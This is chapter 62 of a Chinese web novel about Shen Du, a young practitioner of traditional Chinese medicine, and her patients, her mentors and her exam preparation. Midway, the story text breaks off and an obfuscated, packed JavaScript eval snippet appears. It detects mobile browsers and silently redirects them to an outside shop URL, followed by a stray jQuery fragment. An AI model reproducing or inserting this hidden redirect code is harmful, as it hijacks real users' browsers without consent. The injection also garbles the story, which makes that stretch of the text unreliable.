十月的第三个周六,吴老太的女儿来了。沈渡没有刻意等,但她来的时候,沈渡一眼就看到了那件深红色的连衣裙。不是同一件,是另一件,颜色更深,像熟透了的樱桃。她在候诊区的椅子上坐了一小会儿,没有插队,轮到她了才走进来。
她把右手伸到脉枕上,沈渡把手指搭上去。脉弦,滑,比上周柔和了一点。沈渡又看了她的舌,舌红,苔薄黄,边有齿痕,比上周的苔薄了,黄了。热象还在,但痰湿化了一些。黄连温胆汤起效了。“睡得怎么样了?”“好了一点。以前躺下三四个小时都睡不着,现在一两个小时能睡着。但还是做梦,乱七八糟的梦,醒了还记得。”沈渡换了左手把脉,还是弦滑,力度减弱了。她在处方笺上写了几行字——黄连温胆汤加减,去竹茹,加茯神、远志、合欢皮。安神定志,交通心肾。
“你妈妈的降压药还在吃吗?”“在吃。社区医院开的,血压控制得还行。”沈渡把处方笺递给她。“你的方子我调了一下,去了一味药,加了三味。你再吃一周,下周来复诊。”吴老太的女儿接过处方笺看着上面的字。她的表情有一点犹豫,沈渡看出来了。
“你还有什么想问的吗?”
“我妈说你是好人。她让我来谢谢你。上次的事,她说是她吃了西瓜,不是你的药的问题。我脾气急,错怪你了。”沈渡看着她的手指在处方笺边缘来回摩挲,留下浅浅的折痕。“没事。你妈妈好了就行。”吴老太的女儿站起来,拿起桌上的处方笺,低头看了一眼,折了两折放进包里。她没有说“对不起”,没有说“谢谢”。沈渡不需要她说,她来复诊了,信任已经在那里了。
十月的第三个周三,沈渡跟林院长查房。省中医院的住院部走廊比平时安静,病人少了一些,床位空了几张。林院长说她下个月要退休了,沈渡听到这个消息时愣了一下。林院长没看她,继续往前走,走到病房门口才停下来。“你以后不用每周三来了,我退休了,不在门诊了。”沈渡跟在她身后,过了一会儿才问:“林院长,您退休了去哪?”林院长推开病房的门,病人还在等她。“在家。养花,看书,带孙子。”沈渡站在走廊里没有跟进去。她不知道自己以后还能不能跟林院长学东西,不知道林院长还愿不愿意教她。
下午沈渡去了贺老那里。枇杷树的叶子黄了大半,地上落了一层。贺老坐在廊下看书,戴着老花镜。沈渡在他旁边坐下来,树枝在风里轻轻晃动。
“林院长退休了。”
“她七十多了,该歇歇了。”
沈渡坐着,手里捧着贺老递过来的那杯热茶。“林院长说,她以后在家养花、看书、带孙子。”
“你呢?你以后想做什么?”
“想当医生。”
“当医生做什么?”
“看病。”
贺老看着她,看了一阵,把书合上放在膝盖上。“当医生不是为了看病,是为了治人。病是会复发的,人不会。”沈渡把这句话记住了,但她还没有完全懂。
周六义诊结束,沈渡去了赵大爷的便利店。赵大爷在收银台后面算账,看到她进来,从柜台下面掏出一瓶水放在台面上。“今天不渴。”她把那瓶水推回去。“大爷,您最近身体怎么样?”想了想,“还行。就是腿有点肿,早上起来好一点,下午就肿了。”沈渡蹲下来按了按他的小腿,凹陷性水肿,手指松开后,那个坑好一阵才弹回去。“大爷,您明天去医院查一下心功能和肾功能。腿肿可能是心衰,也可能是肾病。”赵大爷低头看着自己的腿。“知道了。”沈渡知道他可能会去,也可能不会。她能做的只是告诉他,去不去是他的决定。
傍晚沈渡去了陈媛家。陈媛的头发又长了一截,可以扎起来了。她今天穿了新衣服,说去复查的时候被护士夸了。沈渡问血象怎么样,她说都正常,就是血小板还有点低,医生说再观察。陈媛的丈夫在做菜,油烟机嗡嗡响,锅铲碰铁锅的声音从厨房传过来。
“沈渡,你那个帕金森病人,怎么样了?”
“手抖好了一点。但病还在发展,只能延缓不能根治。”
“你不怕吗?”
“怕什么?”
“怕他哪天突然不行了。”
沈渡没想过这个问题。她只想过怎么让他不抖,没想过他会死。他会死,每个人都会死。她治不了死,她只能治生。
十月的最后一个周三,沈渡没有去省中医院。林院长退休了,她不用去了。她去了图书馆,借了一本《助理医师资格考试真题解析》。她在自习室坐到傍晚,把内科学的真题做了一遍。做对的题她看一遍解析,做错的题画上圈,回家再做一遍。快闭馆的时候,她把书合上放进包里,走出图书馆。秋天的天黑得早,路灯已经亮了。
手机震了,裴衍的助理打来电话。说裴总今天摔了两次。沈渡握着手机站在路灯下,看着自己的影子从脚下一直延伸到马路中间。“他有没有骨折?”“没有,就是摔破了膝盖。他不想去医院,说自己在家里处理。”沈渡挂了电话,没有去裴衍那里。她不是急诊医生,帕金森病人摔倒是常事。她去了也没用,她不能二十四小时守着他。
周六,吴老太的女儿第三次来复诊。脉弦,不滑了。舌红,苔薄白了。沈渡把方子减了黄连、半夏,加了白术、茯苓,健脾益气。“下周不用来了。你好了。”吴老太的女儿看着她,隔着脉枕,两个人坐得很近。沈渡等着她开口,她说了句“谢谢”。沈渡点头,把处方笺递给她。她接过处方笺准备站起来,沈渡又说了一句:“以后如果还有不舒服,随时来。”
沈渡看着她的背影,深红色连衣裙消失在门口。她知道她可能不会来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685927|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了,病好了就不来了。来不来是病人的事,治好了是医生的事。
十月底,沈渡开始准备助理医师考试的报名。需要学历证明、师承证明、工作证明。她跑了好几个部门,盖了好几个章。最后一个章盖下去的时候,那个工作人员看着她的材料,说了一句让她愣住的话:“你是贺正清的学生?”沈渡停了手里的动作。“您认识贺老?”“他是我的老师。我跟他学过三个月,后来没坚持下来。你替我向他问好。”
从卫健委出来,沈渡站在门口,阳光明晃晃地照在脸上。她想起贺老说过的——“你不是一个人。”她的师承关系、她的老师、她的病人、她的社区、她的急诊科,这些加在一起,不是“一个人”。她的路是很多人铺的,她踩着他们的脚印走,才能走得这么稳。
晚上沈渡给贺老打电话,说了卫健委那个工作人员的事,贺老不记得了。“教过太多学生了,记不住。”沈渡知道他不是记不住,是不想说。有些话不需要说,不说比说重。
十一月的一个周六,沈渡在社区义诊时接诊了一个让她意外的患者。不是吴老太的女儿,是裴衍。他坐着轮椅,被人推进来的,不是助理,是个护工。诊室里的人都看着他,他也看着他们。沈渡不知道他为什么来这里,他的私立医院比这里大得多。
“你以后不要来这里了。”沈渡把手指搭上他的脉,弦细,尺弱,比上周有力了。“我来看看你工作的样子。”沈渡把手指从他脉上移开,开的方子还是大定风珠加减,加僵蚕、地龙、川芎、丹参。裴衍接过处方笺看了很久,折好放进口袋。护工推着他走了。沈渡看着轮椅碾过地砖,轮子咕噜咕噜地响。她不知道他为什么要来,也许是想看看她是不是真的在救人,也许只是想出门透透气。她不需要知道,她需要知道的是他的脉比上周好了,药有效了。
傍晚沈渡去了徐敏家。念念十个月了,会爬会站会扶着墙走。徐敏说她已经摔了无数次了。沈渡把念念从地上抱起来,念念的小手抓着她衣服的领口,抓得很紧。沈渡看着她,想起裴衍说“你像一个人”——不知道像谁。也许是像年轻时的林院长,也许是像贺老逝去的女儿,也许是像裴衍自己曾经想成为但没有成为的人。她不知道,也不需要知道。像谁不重要,重要的是她是谁。
从徐敏家出来,天已经黑了。沈渡走在路灯下,影子从身后拉到了身前。她踩着影子走,影子比她快,怎么也踩不到。踩不到就不踩了,她抬起头,看着前方的路。路很长,灯很亮。
晚上沈渡没有看书,早早关了灯。窗外月亮很圆,月光从窗帘缝隙里挤进来。她把手伸进月光里,手心被照得发白。
晚安。月亮说。沈渡听到了,她闭上眼睛,把被子拉到下巴,嘴角动了一下。那个弧度不大,但够了。
(第六十二章完)